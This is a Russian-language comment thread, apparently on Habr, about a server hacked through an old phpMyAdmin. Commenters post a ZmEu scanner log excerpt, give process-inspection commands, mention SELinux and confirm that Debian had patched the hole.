                                                            имхо то что phpmyadmin или любой другой управляющий скрипт открыто доступен уже дыра. Я на production закрываю все через ssl+авторизация+фильтры на брутфорс
                                                              0
                                                              теперь этот ZmEu, брутит pma еще с какой-то командой :D
                                                              Отрывок из лога:
                                                              202.43.34.25 — - [14/Dec/2010:03:24:47 +0300] «GET //phpMyAdmin-2.11.11-all-languages/ HTTP/1.1» 404 481 "-" «Made by ZmEu @ WhiteHat Team — www.whitehat.ro»
                                                              202.43.34.25 — - [14/Dec/2010:03:24:48 +0300] «GET //phpMyAdmin-2.11.1-all-languages/ HTTP/1.1» 404 481 "-" «Made by ZmEu @ WhiteHat Team — www.whitehat.ro»
                                                              202.43.34.25 — - [14/Dec/2010:03:24:50 +0300] «GET //htdocs/ HTTP/1.1» 404 462 "-" «Made by ZmEu @ WhiteHat Team — www.whitehat.ro»

                                                                0
                                                                Хабр эффект на сайт Змеи.

                                                                Статья стильная. Я зачитался. А есть режисерская версия, в которой самому злодею засылают его бота? :D
                                                                  +1
                                                                  >Как можно узнать реальную команду запуска процесса и путь к нему, если она уже перезаписана самим процессом

                                                                  readlink /proc/123/exe (123 заменить на номер процесса)
                                                                  или ещё: ps -p 123 -o comm

                                                                  >Можно ли как-нибудь настроить через firewall (насколько я понимаю для linux это будет iptables) ограничение доступа к сети конкретных процессов?

                                                                  такое есть в selinux. там же есть много другого, например можно запретить вебсерверу запускать процессы. единственное, я понятия не имею, как обстоят дела в поддержкой selinux именно в debian
                                                                    0
                                                                    вот бы вводную статью про selinux…
                                                                      0
                                                                      Да, я им сам всё интересуюсь но никак не найду время осилить доки и начать уже использовать в полную силу.
                                                                    0
                                                                    «Кстати, данная дыра похоже по-прежнему остаётся не закрытой во многих phpmyadmin из репозиториев, например в Debian Lenny идёт 4:2.11.8.1-5+lenny6»

                                                                    Вы уверенны в этом, или просто предположение? Дело в том что в Debian принято применять патчи безопасности к предидущим версиям а не обновляться, по-этому вполне вероятно уязвимость закрыта.
                                                                      0
                                                                      Только предположение, сам не проверял, может патчами уже закрыли. Если закрыта — отпишите плиз, обновлю тему.
                                                                        0
                                                                        Конечно же закрыта, причем более года назад. Вот пруфлинк:
                                                                        www.debian.org/security/2009/dsa-1824
                                                                          0
                                                                          Спасибо за инфу, сам что-то не нашёл, обновил топик.
                                                                      0
                                                                      хммм… ботмастер своих ботов с канала #god куда то увел :( и не спит — акиллы раздает любопытным :)
                                                                        0
                                                                        Хорошая обзорная статья получилась. Отдельное спасибо за пример и лекбез по полезным выхлопам lsof и ps. Замечание одно — сервер поимели таки не в базовой конфигурации и вовсе не из-за её.
                                                                          0
                                                                          Ну я так и написал, что я самдурак — оставил старый phpmyadmin, но написал что такая ситуация может возникнуть на любом сервере где есть доступ по ftp к сайтам у сторонних пользователей, т.е. у обычного хостингового сервера.
                                                                          0
                                                                          Я один читал «ридми» в phpMyAdmin и удалил «setup.php» после установки?
                                                                            0
                                                                            Я не могу заставить всех юзеров на хостинге читать ридми, а тем более — ещё его понимать и следовать тому что написано! Себя-то не всегда удаётся заставить, только когда петух клюнет ;))

                                                                          Only users with full accounts can post comments. Log in, please.